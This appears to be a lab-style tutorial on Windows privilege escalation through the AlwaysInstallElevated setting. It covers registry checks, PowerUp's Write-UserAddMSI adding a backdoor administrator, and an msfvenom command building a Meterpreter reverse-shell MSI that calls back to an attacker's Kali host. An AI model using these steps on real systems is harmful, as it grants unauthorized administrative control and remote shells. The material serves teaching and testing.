💽AlwaysInstallElevated

AlwaysInstallElevated is a functionality within Windows that allows all users, including non-administrative ones, to automatically run any MSI (Microsoft Installer) file with elevated privileges. This capability can be exploited in the context of Windows privilege escalation. When an attacker leverages the AlwaysInstallElevated setting, they can manipulate MSI packages to execute arbitrary code with elevated permissions, potentially leading to unauthorized access and control over the system.

To escalate privileges using AlwaysInstallElevated, attackers can create and deploy malicious MSI files, taking advantage of the automatic elevation granted by this setting. By doing so, they can execute code in the context of higher-privileged accounts, achieving a form of privilege escalation.

first we need to check if AlwaysInstallElevated is =1 :

reg query HKLM\Software\Policies\Microsoft\Windows\Installer

now in the cms we do:

reg query HKCU\Software\Policies\Microsoft\Windows\Installer

reg query HKLM\Software\Policies\Microsoft\Windows\Installer queries the local machine's registry for Windows Installer policies at the system level [1].
reg query HKCU\Software\Policies\Microsoft\Windows\Installer queries the current user's registry for Windows Installer policies specific to that user [1].

These commands target different registry hives. The former looks at the machine-wide settings, affecting all users, while the latter focuses on settings applicable only to the currently logged-in user.

Microsoft - reg query

Let's chech who is in the administrators localgroup:

net localgroup administrators

The net localgroup administrators command is used to display a list of users who are members of the local "Administrators" group on a Windows computer. When you run this command in the command prompt, it provides information about the users belonging to the administrators group, offering insights into the local administrative privileges on the system

In the autorun section we launched the PowerUp tool:

We simply look for the AlwaysInstallElevated part in the script output

so it pretty much tells us that the abuse function for AlwaysInstallElevated is Write-UserAddMSI

Function Purpose: "Write-UserAddMSI" is designed to exploit the "AlwaysInstallElevated" registry setting in Windows. This setting allows non-administrative users to install Microsoft Installer Packages (MSI) with elevated privileges.
Malicious MSI Creation: The function likely facilitates the creation of a malicious MSI package that, when executed, performs unauthorized actions or grants elevated privileges to a user.
Privilege Escalation: By abusing "AlwaysInstallElevated" with "Write-UserAddMSI," an attacker can escalate their privileges, potentially gaining administrative access on the system.
Backdoor Installation: It suggests the ability to install a backdoor or perform actions that may compromise the security of the system.
Juggernaut Security - AlwaysInstallElevated – Windows Privilege Escalation
Hacking Articles - Windows Privilege Escalation (AlwaysInstallElevated)
HackTricks - Windows Local Privilege Escalation
Offsec Journey - Local Priv Esc - Windows

So now let's abuse this, let's do a

Write-UserAddMSI

In essence, the command is instructing PowerSploit to create a new MSI file named "UserAdd.msi" in the local directory. This MSI file contains configurations or instructions for adding a user, that will be abused for privesc

if we go and look in the local file, we can see some change:

we double-click on it and see some interesting stuff:

it asks us to add a user in the administrators group, check mate

and if we run the command again:

our backdoor user has been added to the group

Let's do this another way,

on your local kali open a msfconsole reverse shell:

now in another terminal you run this:

msfvenom -p windows/meterpreter/reverse_tcp lhost=[Kali VM IP Address] -f msi -o setup.msi

msfvenom: This is the command-line interface for Metasploit's payload generator.
-p windows/meterpreter/reverse_tcp: Specifies the payload to be generated. In this case, it's a reverse TCP Meterpreter shell for a Windows target.
lhost=[Kali VM IP Address]: Sets the listening host IP address. Replace [Kali VM IP Address] with the actual IP address of your Kali Linux machine. This is the IP where the target machine will connect back.
-f msi: Specifies the format of the output file. Here, it's set to MSI (Microsoft Installer).
-o setup.msi: Specifies the output file name, which is set to setup.msi. This is the name of the generated MSI file.